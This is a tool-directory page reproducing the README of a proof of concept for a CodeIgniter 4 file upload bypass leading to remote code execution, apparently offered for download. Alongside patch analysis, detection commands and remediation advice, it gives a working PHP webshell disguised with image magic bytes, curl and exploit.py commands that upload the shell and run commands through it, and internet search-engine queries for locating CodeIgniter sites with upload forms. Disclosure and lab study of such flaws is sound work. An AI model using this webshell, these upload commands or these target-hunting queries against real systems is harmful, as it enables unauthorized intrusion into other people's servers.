Skip to content
KitploitKITPLOIT
ToolsBlog
Submit
ToolsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

··Feeds·Contact·Privacy·© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
CVE-2026-63223-POC — CVE-2026-63223 PoC — CodeIgniter 4 is_image/mime_in File Upload RCE (CVSS 9.8). Unauthenticated remote code execution via unrestricted file upload bypass using image magic bytes. Fixed in v4.7.4. | Kitploit
Tools/GitHubGitHub/imbas007/cve-2026-63223-poc
Payload GenerationVulnerability AnalysisExploitationWeb Application ExploitationWeb SecurityPenetration TestingLearning & EducationLabs & Practice
GitHubimbas007/cve-2026-63223-poc

CVE-2026-63223-POC

CVE-2026-63223 PoC — CodeIgniter 4 is_image/mime_in File Upload RCE (CVSS 9.8). Unauthenticated remote code execution via unrestricted file upload bypass using image magic bytes. Fixed in v4.7.4.

121 month agoNot yet reviewed

Most Popular

View all →

Discover the most used tools by our community.

Explore all tools

Browse our collection of tools

View all tools →
View Repository
Website
Share

CVE-2026-63223 PoC — CodeIgniter 4 File Upload RCE

CVSS 9.8 (Critical) | AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
CWE-434: Unrestricted Upload of File with Dangerous Type
Fixed: CodeIgniter 4 v4.7.4
Advisory: GHSA-mmj4-63m4-r6h5


Vulnerability Summary

CodeIgniter 4's is_image and mime_in file upload validation rules inspect only content-derived MIME type (magic bytes), not the client-supplied filename extension.

An unauthenticated attacker can prepend image magic bytes (GIF89a, \xFF\xD8\xFF\xE0, \x89PNG…) to a PHP webshell, name it shell.php, and it will pass or validation while retaining a dangerous executable extension. When the uploaded file is stored in a web-accessible directory, the attacker achieves .

is_image
mime_in
arbitrary remote code execution

Trigger Conditions (all three must be met)

  1. App validates uploads using is_image or mime_in without an independent extension check (ext_in)
  2. Uploaded file is saved using the client-supplied filename (preserving .php extension)
  3. Uploads stored in a web-accessible directory where the server executes PHP

Patch Analysis

The fix in v4.7.4 adds two new helper methods and wires them into the validation rules:

is_image — Before vs After

root@kitploit:~
// BEFORE (vulnerable) — only checks MIME starts with "image/"
if (mb_strpos($type, 'image') !== 0) {
    return false;
}
return true;

// AFTER (patched) — also checks extension is an image type
if (mb_strpos($type, 'image') !== 0) {
    return false;
}
if ($this->hasInvalidImageClientExtension($file)) {  // ← NEW
    return false;
}
return true;

mime_in — Before vs After

root@kitploit:~
// BEFORE (vulnerable) — only checks MIME is in allowed list
if (! in_array($file->getMimeType(), $params, true)) {
    return false;
}
return true;

// AFTER (patched) — also checks extension matches detected content
if (! in_array($file->getMimeType(), $params, true)) {
    return false;
}
if ($this->hasMismatchedClientExtension($file)) {    // ← NEW
    return false;
}
return true;

New Helper Methods

root@kitploit:~
// Rejects when non-empty client extension is NOT an image type
private function hasInvalidImageClientExtension(UploadedFile $file): bool
{
    $clientExtension = trim(strtolower($file->getClientExtension()), '. ');
    if ($clientExtension === '') return false;
    $type = Mimes::guessTypeFromExtension($clientExtension) ?? '';
    return mb_strpos($type, 'image') !== 0;
}

// Rejects when client extension doesn't match detected content type
private function hasMismatchedClientExtension(UploadedFile $file): bool
{
    $clientExtension = trim(strtolower($file->getClientExtension()), '. ');
    if ($clientExtension === '') return false;
    return $file->guessExtension() !== $clientExtension;
}

Key insight: The fix delegates to the existing Mimes::guessTypeFromExtension() and $file->guessExtension() methods, adding a second validation layer. Uploads without extensions (e.g. JavaScript Blob objects) are still accepted.


PoC Components

root@kitploit:~
CVE-2026-63223-POC/
├── README.md                    ← this file
├── Dockerfile                   ← vulnerable lab setup
├── docker-compose.yml           ← easy `docker compose up`
├── exploit/
│   └── exploit.py               ← Python exploit script
└── vulnerable-app/
    ├── app/Controllers/Upload.php    ← vulnerable controller
    ├── app/Config/Routes.php         ← routing
    └── app/Views/
        ├── upload_form_avatar.php    ← is_image bypass form
        ├── upload_form_doc.php       ← mime_in bypass form
        └── upload_form_safe.php      ← SAFE reference form

Quick Start — Docker Lab

root@kitploit:~
# Build & start the vulnerable app
docker compose up -d

# Verify it's running
curl http://localhost:8080/health
# → "CVE-2026-63223 PoC Lab — OK"

# Open in browser
open http://localhost:8080/upload/avatar

Endpoints

EndpointVulnerabilityValidation
/upload/avatarVULNERABLEis_image only
/upload/documentVULNERABLEmime_in only
/upload/safeSAFE (control)is_image + ext_in

Exploitation

Method 1 — Interactive

root@kitploit:~
# Install dependency
pip install requests

# Single command execution
python3 exploit/exploit.py -t http://localhost:8080/upload/avatar --cmd "id"

# Interactive shell
python3 exploit/exploit.py -t http://localhost:8080/upload/avatar --shell

# Using mime_in vector (with PDF in allowed list, but PHP still passes)
python3 exploit/exploit.py -t http://localhost:8080/upload/document --cmd "uname -a"

Method 2 — Manual (curl)

root@kitploit:~
# Generate payload
python3 -c "
import sys
php = b'<?php if(isset(\$_REQUEST[\"c\"])){system(\$_REQUEST[\"c\"]);die();} ?>'
sys.stdout.buffer.write(b'GIF89a\n' + php)
" > evil.php

# Verify it's recognized as an image by file(1)
file evil.php
# → evil.php: GIF image data

# Upload to vulnerable is_image endpoint
curl -F "[email protected];type=image/gif" http://localhost:8080/upload/avatar

# Execute
curl http://localhost:8080/uploads/evil.php?c=id

Method 3 — Different MIME disguises

root@kitploit:~
# JPEG variant (also passes is_image)
python3 exploit/exploit.py -t http://localhost:8080/upload/avatar \
    --method jpg --filename wp-admin.php --cmd "ls -la /"

# PNG variant (also passes is_image, .phtml extension)
python3 exploit/exploit.py -t http://localhost:8080/upload/avatar \
    --method png --filename config.phtml --shell

Why It Works

The PHP $_FILES superglobal and CodeIgniter's UploadedFile object carry two separate pieces of information:

  1. type / getMimeType() — Derived from the file's magic bytes (content-based), sent by the browser as the Content-Type part of the multipart upload
  2. name / getClientName() — The original filename from the client, including extension

Before the patch, is_image and mime_in only checked #1. An attacker sends:

root@kitploit:~
Content-Disposition: form-data; name="avatar"; filename="shell.php"
Content-Type: image/gif

GIF89a
<?php system($_REQUEST['c']); ?>
  • ✅ is_image sees image/gif → passes
  • ✅ File saved as shell.php (client name preserved)
  • ✅ Apache/PHP-FPM executes .php files in uploads dir → RCE

After the patch, the extension is cross-checked:

  • ❌ hasInvalidImageClientExtension() sees .php → rejects

Detection & Hunting

Log / Forensic Detection

Look for PHP/PHTML/PHP5 files with image magic bytes in your uploads directory:

root@kitploit:~
# Find PHP files that start with image headers
find uploads/ -name "*.php" -exec file {} \; | grep -E '(GIF|JPEG|PNG) image'

# Or check raw bytes
xxd uploads/*.php | head

Shodan Queries

root@kitploit:~
# CodeIgniter 4 default welcome page
http.title:"Welcome to CodeIgniter"

# CI4 debug toolbar (exposed in development mode)
http.html:"debugbar_loader"

# CI4 default cookie / session fingerprint
http.component:"CodeIgniter"

# CI4-powered apps with file upload endpoints
http.title:"CodeIgniter" http.html:"upload"

# Broad search — any CI4 instance
"CodeIgniter" "X-Powered-By: PHP"

Fofa Queries

root@kitploit:~
# Default CodeIgniter 4 scaffold
body="CodeIgniter" && body="Welcome to"

# CI4 debug toolbar leaked (dev mode = more likely vulnerable)
body="debugbar_loader" && body="kint-rich"

# File upload forms on CI4
body="enctype=\"multipart/form-data\"" && body="CodeIgniter"

# CI4 session fingerprint in Set-Cookie
header="ci_session"

# Broad CI4 detection
app="CodeIgniter Framework"

ZoomEye / Censys

root@kitploit:~
# ZoomEye
app:"CodeIgniter" +"file upload"

# Censys
services.http.response.body:"Welcome to CodeIgniter"

Remediation

  1. Upgrade to CodeIgniter 4 v4.7.4+
  2. Workaround (if patching delayed): Add ext_in rule alongside is_image/mime_in
  3. Defense-in-depth:
    • Store uploads outside web root, serve via readfile() proxy
    • Disable PHP execution in uploads directory at the web server level:
      root@kitploit:~
      <Directory "/var/www/html/public/uploads">
          php_admin_flag engine off
      </Directory>
      
    • Generate server-controlled filenames instead of preserving client names

References

  • GitHub Security Advisory — GHSA-mmj4-63m4-r6h5
  • Fixing Commit — b6e9a4f
  • Release v4.7.4
  • IONIX Threat Center Analysis
  • NVD Entry

Legal Notice

This PoC is for educational purposes and authorized security testing only. The vulnerability was responsibly disclosed and patched. Do not use this against systems you don't own or have explicit permission to test. The authors assume no liability for misuse.

Download Tool